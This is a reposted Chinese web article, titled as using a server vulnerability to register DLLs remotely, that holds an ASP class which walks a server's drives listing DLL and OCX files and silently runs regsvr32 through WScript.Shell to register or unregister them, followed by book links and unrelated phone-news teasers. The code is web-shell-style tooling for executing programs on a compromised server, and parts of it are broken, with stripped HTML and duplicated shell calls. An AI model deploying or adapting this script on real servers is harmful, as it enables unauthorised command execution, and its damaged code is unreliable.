您的位置 首页 趣闻

利用对方服务器漏洞远程注册DLL

,利用对方服务器漏洞远程注册DLL





<%
Class clsRegister

Private m_oFS

Public Property Let oFS(objOFS)
m_oFS = objOFS
End Property
……
Sub init(strRoot) ‘Root to Search (c:, d:, e:)
Dim oDrive, oRootDir
IF oFS.FolderExists(strRoot) Then
IF Len(strRoot) < 3 Then 'Must Be a Drive
Set oDrive = oFS.GetDrive(strRoot)
Set oRootDir = oDrive.RootFolder
Else
Set oRootDir = oFS.GetFolder(strRoot)
End IF
Else
EchoB(“噢,文件夹( ” & strRoot & ” )没找到!”)
      Exit Sub
    End IF
    setRoot = oRootDir
    
    Echo(““)
    BuildOptions
  End Sub
  
  Sub getAllDlls(oParentFolder)
  Dim oSubFolders, oFile, oFiles
    Set oSubFolders = oParentFolder.SubFolders
    Set opFiles = oParentFolder.Files
    
    For Each oFile in opFiles
      IF Right(lCase(oFile.Name), 4) = “.dll” OR Right(lCase(oFile.Name), 4) = “.ocx” Then
        Echo(““)
      End IF
    Next
    
    On Error Resume Next
    For Each oFolder In oSubFolders ‘Iterate All Folders in Drive
      Set oFiles = oFolder.Files
      For Each oFile in oFiles
        IF Right(lCase(oFile.Name), 4) = “.dll” OR Right(lCase(oFile.Name), 4) = “.ocx” Then
          Echo(““)
        End IF
      Next
      Call getAllDlls(oFolder)
    Next
    On Error GoTo 0
  End Sub

  Sub Register(strFilePath, regMethod)
  Dim theFile, strFile, oShell, exitcode
    Set theFile = oFS.GetFile(strFilePath)
    strFile = theFile.Path

    Set oShell = CreateObject (“WScript.Shell”)

    IF regMethod = “REG” Then ‘Register
      oShell.Run “c:\WINNT\system32\regsvr32.exe /s ” & strFile, 0, False
      exitcode = oShell.Run(“c:\WINNT\system32\regsvr32.exe /s ” & strFile, 0, False)
       EchoB(“regsvr32.exe exitcode = ” & exitcode)
    Else ‘unRegister
      oShell.Run “c:\WINNT\system32\regsvr32.exe /u/s ” & strFile, 0, False
      exitcode = oShell.Run(“c:\WINNT\system32\regsvr32.exe /u/s ” & strFile, 0, False)
       EchoB(“regsvr32.exe exitcode = ” & exitcode)
    End IF
    
    Cleanup oShell
  End Sub
  
  Sub BuildOptions
    EchoB(“Register: “)
    EchoB(“unRegister: “)
  End Sub
  
  Function Echo(str)
    Echo = Response.Write(str & vbCrLf)
  End Function
  
  Function EchoB(str)
    EchoB = Response.Write(str & ”
” & vbCrLf)
  End Function
  
  Sub Cleanup(obj)
    If isObject(obj) Then
      Set obj = Nothing
    End IF
  End Sub
  
  Sub Class_Terminate()
    Cleanup oFS
  End Sub
End Class
%>



—-
最好的答案:  
http://www.huachu.com.cn/itbook/itbookinfo.asp?lbbh=BD04605180
http://www.waterpub.com.cn/sale/result.asp?id=5301  
最好的介绍:  
http://www.intels.net/
—-
Internet是第一生产力; 
网站建设是它的核心; 
ASP 
就是网站的灵魂。
—-
《ASP与相关数据库技术高级指南》[ASP的专家]

免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。

作者: dawei

【声明】:135手机网内容转载自互联网,其相关言论仅代表作者个人观点绝非权威,不代表本站立场。如您发现内容存在版权问题,请提交相关链接至邮箱:bqsm@foxmail.com,我们将及时予以处理。

为您推荐

OPPO Find N展开一刻,两大创新技术打破折痕路上意难平

荣耀发布了荣耀60系列的新品,特别是荣耀60 Pro的5000万像素超感知AI前置镜头和1亿像素超清后置主摄,是生活和游玩记录的好帮手。多镜录像功能在荣耀50系列上就已开始引入,在荣耀60系列上还新增了AI手势识别,Vlog隔空换镜这一创新功能,对拍摄Vlog来说相当

敢为天下后,OPPO Find N折叠屏的底气何在?

聊起OPPO,给我的第一印象就是本分,而在刚刚发布的OPPO Find N折叠屏手机上,我看到的是OPPO敢为天下后的底气。 当大家还沉浸在前一天发布的马里亚纳MariSilicon X影像NPU芯片时,OPPO又在12月15日推出了旗下首款折叠屏手机产品OPPO Find N。这是一款传闻已

苹果iPhone性能为何逆天强?A系列芯片知道一下

苹果如期发布了iPhone 13系列,他们身上有着不少让竞争对手难以企及的闪光点:比如iPhone 13 Pro Max凭着比很多安卓旗舰还要小的电池容量,却实现了鹤立鸡群般的续航成绩,此前能做到这种表现的,也只有一部分大电池且性能较低的中端机型;而且iPhone 13系列

像素并非越高越好,为何5000万像素手机镜头倍受青欢迎

500万、800万、1200万像素,智能手机摄像头像素在早年发展的步伐相对还是比较缓慢,近来2000万、4800万、6400万、1.08亿像素接踵而来,手机摄像头的像素规格呈现出十分迅猛的迭代更新速度。然而在2019年首推量产1.08亿像素的智能手机后,至今手机上单颗传感

想拍更远?汇总今年搭载潜望式长焦摄像头的手机

部分手机摄影发烧友已不再满足普通的2x长焦摄像头,他们需要拍的更远,画质也不能妥协,于是能拍更远的潜望式长焦摄像头就应运而生了。不过当镜头焦距上去了,后置镜头模组的厚度就难以控制,如果强行塞下更长焦段的镜头,模组厚度将达到1~2cm,这样的手机估

返回顶部